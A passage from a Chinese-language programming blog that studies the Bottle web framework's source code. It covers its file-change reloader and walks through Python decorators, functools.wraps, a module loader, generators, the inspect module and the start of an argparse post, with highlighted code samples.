<span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">hot_deploy_with_flag</span><span class="p">(</span><span class="n">reloader</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">interval</span><span class="o">=</span><span class="mi">3</span><span class="p">)</span>
<span class="c1"># run(reloader=True, port=8000, interval=3)
# _monitor_file_change()
</span></code></pre></div></div>
<p>文件检查部分, bottle 源码更细致:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">class</span> <span class="nc">FileCheckerThread</span><span class="p">(</span><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">):</span>
<span class="s">''' Interrupt main-thread as soon as a changed module file is detected,
the lockfile gets deleted or gets to old. '''</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">lockfile</span><span class="p">,</span> <span class="n">interval</span><span class="p">):</span>
<span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">lockfile</span><span class="p">,</span> <span class="bp">self</span><span class="p">.</span><span class="n">interval</span> <span class="o">=</span> <span class="n">lockfile</span><span class="p">,</span> <span class="n">interval</span>
<span class="n">mtime</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">path</span><span class="p">:</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span>
<span class="k">print</span><span class="p">(</span><span class="n">mtime</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">lockfile</span><span class="p">))</span>
<span class="c1">#: Is one of 'reload', 'error' or 'exit'
</span> <span class="bp">self</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">exists</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span>
<span class="n">mtime</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">path</span><span class="p">:</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">path</span><span class="p">).</span><span class="n">st_mtime</span>
<span class="n">files</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="k">for</span> <span class="n">module</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">.</span><span class="n">values</span><span class="p">()):</span>
<span class="n">path</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="s">'__file__'</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="k">if</span> <span class="n">path</span><span class="p">[</span><span class="o">-</span><span class="mi">4</span><span class="p">:]</span> <span class="ow">in</span> <span class="p">(</span><span class="s">'.pyo'</span><span class="p">,</span> <span class="s">'.pyc'</span><span class="p">):</span> <span class="n">path</span> <span class="o">=</span> <span class="n">path</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
<span class="k">if</span> <span class="n">path</span> <span class="ow">and</span> <span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">):</span> <span class="n">files</span><span class="p">[</span><span class="n">path</span><span class="p">]</span> <span class="o">=</span> <span class="n">mtime</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">while</span> <span class="ow">not</span> <span class="bp">self</span><span class="p">.</span><span class="n">status</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'run file checking'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">'bottle pid: %s'</span> <span class="o">%</span> <span class="n">os</span><span class="p">.</span><span class="n">getpid</span><span class="p">())</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">exists</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">lockfile</span><span class="p">)</span> \
<span class="ow">or</span> <span class="n">mtime</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">lockfile</span><span class="p">)</span> <span class="o"><</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="bp">self</span><span class="p">.</span><span class="n">interval</span> <span class="o">-</span> <span class="mi">5</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'lockfile is missing'</span><span class="p">)</span>
<span class="bp">self</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'error'</span>
<span class="n">thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">for</span> <span class="n">path</span><span class="p">,</span> <span class="n">lmtime</span> <span class="ow">in</span> <span class="nb">list</span><span class="p">(</span><span class="n">files</span><span class="p">.</span><span class="n">items</span><span class="p">()):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">exists</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="ow">or</span> <span class="n">mtime</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">></span> <span class="n">lmtime</span><span class="p">:</span>
<span class="bp">self</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'reload'</span>
<span class="k">print</span><span class="p">(</span><span class="s">'interrupt main thread'</span><span class="p">)</span>
<span class="n">thread</span><span class="p">.</span><span class="n">interrupt_main</span><span class="p">()</span>
<span class="k">break</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="bp">self</span><span class="p">.</span><span class="n">interval</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">__enter__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="bp">self</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">__exit__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">exc_type</span><span class="p">,</span> <span class="n">exc_val</span><span class="p">,</span> <span class="n">exc_tb</span><span class="p">):</span>
<span class="k">if</span> <span class="ow">not</span> <span class="bp">self</span><span class="p">.</span><span class="n">status</span><span class="p">:</span> <span class="bp">self</span><span class="p">.</span><span class="n">status</span> <span class="o">=</span> <span class="s">'exit'</span> <span class="c1"># silent exit
</span> <span class="bp">self</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="k">return</span> <span class="n">exc_type</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> <span class="ow">and</span> <span class="nb">issubclass</span><span class="p">(</span><span class="n">exc_type</span><span class="p">,</span> <span class="nb">KeyboardInterrupt</span><span class="p">)</span>
</code></pre></div></div>
<h1 id="end">END</h1>
Bottle 源码阅读(四) -- 注解, functools, yield, inspect
2017-10-31T00:00:00+00:00
http://fish267.github.io/2017/10/31/bottle-source-code-learning-4
<h2 id="1-python-注解使用">1. Python 注解使用</h2>
<p>高阶函数, 指的是能将函数当成入参来操作, Python 注解也是这么做的, 使用 <code class="language-plaintext highlighter-rouge">@</code> 符号, 让代码更简洁.</p>
<h3 id="示例">示例</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">logger</span><span class="p">(</span><span class="n">fn</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">wrapper</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">'%s starts to executing'</span> <span class="o">%</span> <span class="n">fn</span><span class="p">.</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">fn</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="s">'%s finished executing'</span> <span class="o">%</span> <span class="n">fn</span><span class="p">.</span><span class="n">__name__</span><span class="p">)</span>
<span class="k">return</span> <span class="n">wrapper</span>
<span class="o">@</span><span class="n">logger</span>
<span class="k">def</span> <span class="nf">hello</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Hello world!'</span><span class="p">)</span>
<span class="c1">##
</span><span class="n">hello</span> <span class="n">starts</span> <span class="n">to</span> <span class="n">executing</span>
<span class="n">Hello</span> <span class="n">world</span><span class="err">!</span>
<span class="n">hello</span> <span class="n">finished</span> <span class="n">executing</span>
</code></pre></div></div>
<!--more-->
<p>如果一个函数上面多个 decorator, 可以这么理解:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">@</span><span class="n">decorator_one</span>
<span class="o">@</span><span class="n">decorator_two</span>
<span class="k">def</span> <span class="nf">func</span><span class="p">():</span>
<span class="k">pass</span>
<span class="o">===></span>
<span class="n">func</span> <span class="o">=</span> <span class="n">decorator</span><span class="p">(</span><span class="n">arg1</span><span class="p">,</span><span class="n">arg2</span><span class="p">)(</span><span class="n">func</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="带一个入参的">带一个入参的</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">route</span><span class="p">(</span><span class="n">url</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">wrapper</span><span class="p">(</span><span class="n">fn</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'visiting url: {}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">url</span><span class="p">))</span>
<span class="n">fn</span><span class="p">()</span>
<span class="k">return</span> <span class="n">wrapper</span>
<span class="o">@</span><span class="n">route</span><span class="p">(</span><span class="s">'hello/world'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">'I am index'</span><span class="p">)</span>
<span class="c1">##
</span><span class="n">visiting</span> <span class="n">url</span><span class="p">:</span> <span class="n">hello</span><span class="o">/</span><span class="n">world</span>
<span class="n">I</span> <span class="n">am</span> <span class="n">index</span>
</code></pre></div></div>
<h3 id="带多个入参">带多个入参</h3>
<p>函数上有入参, 需要在 decorator 中再嵌套一层, <code class="language-plaintext highlighter-rouge">def inline(text): fn(text)</code></p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">route</span><span class="p">(</span><span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">wrapper</span><span class="p">(</span><span class="n">fn</span><span class="p">):</span>
<span class="k">if</span> <span class="s">'url'</span> <span class="ow">in</span> <span class="n">kwargs</span><span class="p">.</span><span class="n">keys</span><span class="p">():</span>
<span class="k">print</span><span class="p">(</span><span class="s">'visiting url: {}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">kwargs</span><span class="p">[</span><span class="s">'url'</span><span class="p">]))</span>
<span class="k">def</span> <span class="nf">inline</span><span class="p">(</span><span class="n">text</span><span class="p">):</span>
<span class="n">fn</span><span class="p">(</span><span class="n">text</span><span class="p">)</span>
<span class="k">return</span> <span class="n">inline</span>
<span class="k">return</span> <span class="n">wrapper</span>
<span class="o">@</span><span class="n">route</span><span class="p">(</span><span class="n">url</span><span class="o">=</span><span class="s">'hello/world'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">(</span><span class="n">name</span><span class="p">):</span>
<span class="k">print</span><span class="p">(</span><span class="s">'I am '</span> <span class="o">+</span> <span class="n">name</span><span class="p">)</span>
<span class="n">index</span><span class="p">(</span><span class="s">'world'</span><span class="p">)</span>
<span class="c1">###
</span><span class="n">visiting</span> <span class="n">url</span><span class="p">:</span> <span class="n">hello</span><span class="o">/</span><span class="n">world</span>
<span class="n">I</span> <span class="n">am</span> <span class="n">world</span>
</code></pre></div></div>
<h2 id="2-functoolswrapsfunc-作用">2. @functools.wraps(func) 作用</h2>
<p><b>wraps()的作用就是把原函数的相关信息代入到新的函数中</b></p>
<p>如上面的例子, 使用了装饰器后, index 函数的函数名如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">print</span><span class="p">(</span><span class="n">index</span><span class="p">.</span><span class="n">__name__</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">index</span><span class="p">.</span><span class="n">__doc__</span><span class="p">)</span>
<span class="c1">##
</span><span class="n">visiting</span> <span class="n">url</span><span class="p">:</span> <span class="n">hello</span><span class="o">/</span><span class="n">world</span>
<span class="n">inline</span>
<span class="bp">None</span>
</code></pre></div></div>
<p>在闭包函数上, 添加 <code class="language-plaintext highlighter-rouge">@functools.wraps(fn)</code> 就可以复原函数的 <code class="language-plaintext highlighter-rouge">__name__</code> <code class="language-plaintext highlighter-rouge">__doc__</code>.</p>
<h2 id="3-load-函数">3. load 函数</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">load</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="o">**</span><span class="n">namespace</span><span class="p">):</span>
<span class="s">""" Import a module or fetch an object from a module.
* ``package.module`` returns `module` as a module object.
* ``pack.mod:name`` returns the module variable `name` from `pack.mod`.
* ``pack.mod:func()`` calls `pack.mod.func()` and returns the result.
The last form accepts not only function calls, but any type of
expression. Keyword arguments passed to this function are available as
local variables. Example: ``import_string('re:compile(x)', x='[a-z]')``
"""</span>
<span class="n">module</span><span class="p">,</span> <span class="n">target</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="s">':'</span> <span class="ow">in</span> <span class="n">target</span> <span class="k">else</span> <span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
<span class="k">if</span> <span class="n">module</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">:</span> <span class="nb">__import__</span><span class="p">(</span><span class="n">module</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">target</span><span class="p">:</span> <span class="k">return</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">module</span><span class="p">]</span>
<span class="k">if</span> <span class="n">target</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> <span class="k">return</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">module</span><span class="p">],</span> <span class="n">target</span><span class="p">)</span>
<span class="n">package_name</span> <span class="o">=</span> <span class="n">module</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">namespace</span><span class="p">[</span><span class="n">package_name</span><span class="p">]</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">package_name</span><span class="p">]</span>
<span class="k">return</span> <span class="nb">eval</span><span class="p">(</span><span class="s">'%s.%s'</span> <span class="o">%</span> <span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="n">target</span><span class="p">),</span> <span class="n">namespace</span><span class="p">)</span>
</code></pre></div></div>
<p>上面的<code class="language-plaintext highlighter-rouge">load</code> 函数, 在源码中大量被使用, 具体的作用, 注释讲解的很清楚, 可以返回文件中 <code class="language-plaintext highlighter-rouge">from xx import xx</code> 的模块, 变量, 函数.</p>
<p>简单测试一下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="k">def</span> <span class="nf">load</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="o">**</span><span class="n">namespace</span><span class="p">):</span>
<span class="n">module</span><span class="p">,</span> <span class="n">target</span> <span class="o">=</span> <span class="n">target</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">":"</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> <span class="k">if</span> <span class="s">':'</span> <span class="ow">in</span> <span class="n">target</span> <span class="k">else</span> <span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="bp">None</span><span class="p">)</span>
<span class="k">if</span> <span class="n">module</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">:</span> <span class="nb">__import__</span><span class="p">(</span><span class="n">module</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">target</span><span class="p">:</span> <span class="k">return</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">module</span><span class="p">]</span>
<span class="k">if</span> <span class="n">target</span><span class="p">.</span><span class="n">isalnum</span><span class="p">():</span> <span class="k">return</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">module</span><span class="p">],</span> <span class="n">target</span><span class="p">)</span>
<span class="n">package_name</span> <span class="o">=</span> <span class="n">module</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'.'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
<span class="n">namespace</span><span class="p">[</span><span class="n">package_name</span><span class="p">]</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">modules</span><span class="p">[</span><span class="n">package_name</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="s">'Start to load: </span><span class="se">\n</span><span class="s">module:%s</span><span class="se">\n</span><span class="s">package_name: %s</span><span class="se">\n</span><span class="s">namespace: %s'</span> <span class="o">%</span> <span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="n">package_name</span><span class="p">,</span> <span class="n">namespace</span><span class="p">))</span>
<span class="nb">object</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="s">'%s.%s'</span> <span class="o">%</span> <span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="n">target</span><span class="p">),</span> <span class="n">namespace</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">object</span><span class="p">)</span>
<span class="k">return</span> <span class="nb">object</span>
<span class="n">fp</span> <span class="o">=</span> <span class="n">load</span><span class="p">(</span><span class="s">'six_web.cli:_get_version'</span><span class="p">)</span>
<span class="n">fp</span><span class="p">()</span>
<span class="c1">###
</span><span class="n">Start</span> <span class="n">to</span> <span class="n">load</span><span class="p">:</span>
<span class="n">module</span><span class="p">:</span><span class="n">six_web</span><span class="p">.</span><span class="n">cli</span>
<span class="n">package_name</span><span class="p">:</span> <span class="n">six_web</span>
<span class="n">namespace</span><span class="p">:</span> <span class="p">{</span><span class="s">'six_web'</span><span class="p">:</span> <span class="o"><</span><span class="n">module</span> <span class="s">'six_web'</span> <span class="k">from</span> <span class="s">'/Users/fish/Documents/GitHub/six-web/six_web/__init__.py'</span><span class="o">></span><span class="p">}</span>
<span class="o"><</span><span class="n">function</span> <span class="n">_get_version</span> <span class="n">at</span> <span class="mh">0x10a2bad08</span><span class="o">></span>
<span class="n">six_web</span> <span class="n">version</span><span class="p">:</span> <span class="mf">2.0</span><span class="p">.</span>
</code></pre></div></div>
<h1 id="3-yield-使用">3. yield 使用</h1>
<p>yield 的作用就是把一个函数变成一个 generator,带有 yield 的函数不再是一个普通函数,Python 解释器会将其视为一个 generator. 主要的功能是节省内存.</p>
<p>在 python2 中, <code class="language-plaintext highlighter-rouge">range(10)</code> 返回一个 <code class="language-plaintext highlighter-rouge">list</code>, 而 <code class="language-plaintext highlighter-rouge">xrange(10)</code> 返回的是 <code class="language-plaintext highlighter-rouge">iterable </code> 对象, 在 <code class="language-plaintext highlighter-rouge">python3</code> 中, 直接使用 <code class="language-plaintext highlighter-rouge">range</code> 统一返回 <code class="language-plaintext highlighter-rouge">iterable</code> 对象.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">fab</span><span class="p">(</span><span class="nb">max</span><span class="p">):</span>
<span class="n">n</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">n</span> <span class="o"><</span> <span class="nb">max</span><span class="p">:</span>
<span class="k">yield</span> <span class="n">b</span>
<span class="c1"># print b
</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">b</span><span class="p">,</span> <span class="n">a</span> <span class="o">+</span> <span class="n">b</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span>
</code></pre></div></div>
<p>输出如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="n">f</span> <span class="o">=</span> <span class="n">fab</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="o">>>></span> <span class="n">f</span>
<span class="o"><</span><span class="n">generator</span> <span class="nb">object</span> <span class="n">fab</span> <span class="n">at</span> <span class="mh">0x10de1f9e8</span><span class="o">></span>
<span class="o">>>></span> <span class="nb">next</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="mi">1</span>
<span class="o">>>></span> <span class="n">f</span><span class="p">.</span><span class="n">__next__</span><span class="p">()</span>
<span class="mi">1</span>
<span class="o">>>></span> <span class="n">f</span><span class="p">.</span><span class="n">__next__</span><span class="p">()</span>
<span class="mi">2</span>
<span class="o">>>></span> <span class="n">f</span><span class="p">.</span><span class="n">__next__</span><span class="p">()</span>
<span class="n">Traceback</span> <span class="p">(</span><span class="n">most</span> <span class="n">recent</span> <span class="n">call</span> <span class="n">last</span><span class="p">):</span>
<span class="n">File</span> <span class="s">"<stdin>"</span><span class="p">,</span> <span class="n">line</span> <span class="mi">1</span><span class="p">,</span> <span class="ow">in</span> <span class="o"><</span><span class="n">module</span><span class="o">></span>
<span class="nb">StopIteration</span>
</code></pre></div></div>
<p>综合来讲, <code class="language-plaintext highlighter-rouge">yield</code> 的目的是中断函数, 返回当前的值, 当 <code class="language-plaintext highlighter-rouge">next(f)</code> or <code class="language-plaintext highlighter-rouge">f.__next__()</code> 或者在 <code class="language-plaintext highlighter-rouge">for</code> 循环时, 从中断位置继续向下走.</p>
<p>挺好玩的!</p>
<p>Bottle 源码中, 路由处理, 有这么一处用法:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">yieldroutes</span><span class="p">(</span><span class="n">func</span><span class="p">):</span>
<span class="s">""" Return a generator for routes that match the signature (name, args)
of the func parameter. This may yield more than one route if the function
takes optional keyword arguments. The output is best described by example::
a() -> '/a'
b(x, y) -> '/b/<x>/<y>'
c(x, y=5) -> '/c/<x>' and '/c/<x>/<y>'
d(x=5, y=6) -> '/d' and '/d/<x>' and '/d/<x>/<y>'
"""</span>
<span class="n">path</span> <span class="o">=</span> <span class="s">'/'</span> <span class="o">+</span> <span class="n">func</span><span class="p">.</span><span class="n">__name__</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">'__'</span><span class="p">,</span> <span class="s">'/'</span><span class="p">).</span><span class="n">lstrip</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="n">spec</span> <span class="o">=</span> <span class="n">getargspec</span><span class="p">(</span><span class="n">func</span><span class="p">)</span>
<span class="n">argc</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">spec</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">spec</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="ow">or</span> <span class="p">[])</span>
<span class="n">path</span> <span class="o">+=</span> <span class="p">(</span><span class="s">'/<%s>'</span> <span class="o">*</span> <span class="n">argc</span><span class="p">)</span> <span class="o">%</span> <span class="nb">tuple</span><span class="p">(</span><span class="n">spec</span><span class="p">[</span><span class="mi">0</span><span class="p">][:</span><span class="n">argc</span><span class="p">])</span>
<span class="k">print</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">yield</span> <span class="n">path</span>
<span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="n">spec</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="n">argc</span><span class="p">:]:</span>
<span class="n">path</span> <span class="o">+=</span> <span class="s">'/<%s>'</span> <span class="o">%</span> <span class="n">arg</span>
<span class="k">print</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
<span class="k">yield</span> <span class="n">path</span>
</code></pre></div></div>
<h1 id="4-inspect-模块">4. inspect 模块</h1>
<p>上面源码中有一句 <code class="language-plaintext highlighter-rouge">spec = getargspec(func)</code>, 为了弄清这行代码意思, 了解了一下 <code class="language-plaintext highlighter-rouge">inspect</code> 模块, 该模块提供一些有用的函数去帮助获取活动对象信息.</p>
<h2 id="getargspec-用法">getargspec 用法</h2>
<p><code class="language-plaintext highlighter-rouge">getargspec</code> 是获取函数入参的, 示例如下:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="kn">from</span> <span class="nn">inspect</span> <span class="kn">import</span> <span class="n">getargspec</span>
<span class="o">>>></span> <span class="n">getargspec</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="n">ArgSpec</span><span class="p">(</span><span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="s">'a'</span><span class="p">,</span> <span class="s">'b'</span><span class="p">],</span> <span class="n">varargs</span><span class="o">=</span><span class="s">'pos'</span><span class="p">,</span> <span class="n">keywords</span><span class="o">=</span><span class="s">'named'</span><span class="p">,</span> <span class="n">defaults</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="p">,))</span>
<span class="o">>>></span> <span class="kn">from</span> <span class="nn">inspect</span> <span class="kn">import</span> <span class="n">getargspec</span>
<span class="o">>>></span> <span class="k">def</span> <span class="nf">f</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="o">*</span><span class="n">pos</span><span class="p">,</span> <span class="o">**</span><span class="n">named</span><span class="p">):</span>
<span class="p">...</span> <span class="k">pass</span>
<span class="p">...</span>
<span class="o">>>></span> <span class="n">getargspec</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
<span class="n">ArgSpec</span><span class="p">(</span><span class="n">args</span><span class="o">=</span><span class="p">[</span><span class="s">'a'</span><span class="p">,</span> <span class="s">'b'</span><span class="p">],</span> <span class="n">varargs</span><span class="o">=</span><span class="s">'pos'</span><span class="p">,</span> <span class="n">keywords</span><span class="o">=</span><span class="s">'named'</span><span class="p">,</span> <span class="n">defaults</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="p">,))</span>
</code></pre></div></div>
<h2 id="常用用法">常用用法</h2>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>inspect.ismodule
inspect.isclass
inspect.ismethod
inspect.getmembers() 返回 dict(), 获取 Object 中所有的对象.
inspect.getsource(hello) 查看整个模块hello的源代码
inspect.getsource(hello.w) 查看模块hello里面wo这个类的全部代码
inspect.getsource(hello.h) 查看模块内某个函数的代码
inspect.getsource(hello.w.g) 查看模块内某个类中函数的代码
inspect.getabsfile(hello) 查看模块的路径
</code></pre></div></div>
Bottle 源码阅读(三) -- ArgumentParser, __slots__, __call__, templefile, @property 使用
2017-10-25T00:00:00+00:00
http://fish267.github.io/2017/10/25/bottle-source-code-learning-3
<h2 id="1-python-命令行解析工具">1. Python 命令行解析工具</h2>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">(</span>pycharm_env<span class="o">)</span> ➜ six_web git:<span class="o">(</span>six_20171018<span class="o">)</span> ✗ ifconfig <span class="nt">--help</span>
ifconfig: illegal option <span class="nt">--</span> -
usage: ifconfig <span class="o">[</span><span class="nt">-C</span><span class="o">]</span> <span class="o">[</span><span class="nt">-L</span><span class="o">]</span> interface address_family <span class="o">[</span>address <span class="o">[</span>dest_address]]
<span class="o">[</span>parameters]
ifconfig interface create
ifconfig <span class="nt">-a</span> <span class="o">[</span><span class="nt">-C</span><span class="o">]</span> <span class="o">[</span><span class="nt">-L</span><span class="o">]</span> <span class="o">[</span><span class="nt">-d</span><span class="o">]</span> <span class="o">[</span><span class="nt">-m</span><span class="o">]</span> <span class="o">[</span><span class="nt">-u</span><span class="o">]</span> <span class="o">[</span><span class="nt">-v</span><span class="o">]</span> <span class="o">[</span>address_family]
ifconfig <span class="nt">-l</span> <span class="o">[</span><span class="nt">-d</span><span class="o">]</span> <span class="o">[</span><span class="nt">-u</span><span class="o">]</span> <span class="o">[</span>address_family]
ifconfig <span class="o">[</span><span class="nt">-C</span><span class="o">]</span> <span class="o">[</span><span class="nt">-L</span><span class="o">]</span> <span class="o">[</span><span class="nt">-d</span><span class="o">]</span> <span class="o">[</span><span class="nt">-m</span><span class="o">]</span> <span class="o">[</span><span class="nt">-u</span><span class="o">]</span> <span class="o">[</span><span class="nt">-v</span><span class="o">]</span>
</code></pre></div></div>
<p>类似在 Linux 系统上执行 <code class="language-plaintext highlighter-rouge">command -help</code> 命令, C 语言使用的 <code class="language-plaintext highlighter-rouge">getopt()</code> 进行命令行交互. Python 标准库中自带的 <code class="language-plaintext highlighter-rouge">argparse</code> 的用法几乎一样.</p>
<!--more-->
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kn">from</span> <span class="nn">argparse</span> <span class="kn">import</span> <span class="n">ArgumentParser</span>
<span class="n">parser</span> <span class="o">=</span> <span class="n">ArgumentParser</span><span class="p">()</span>
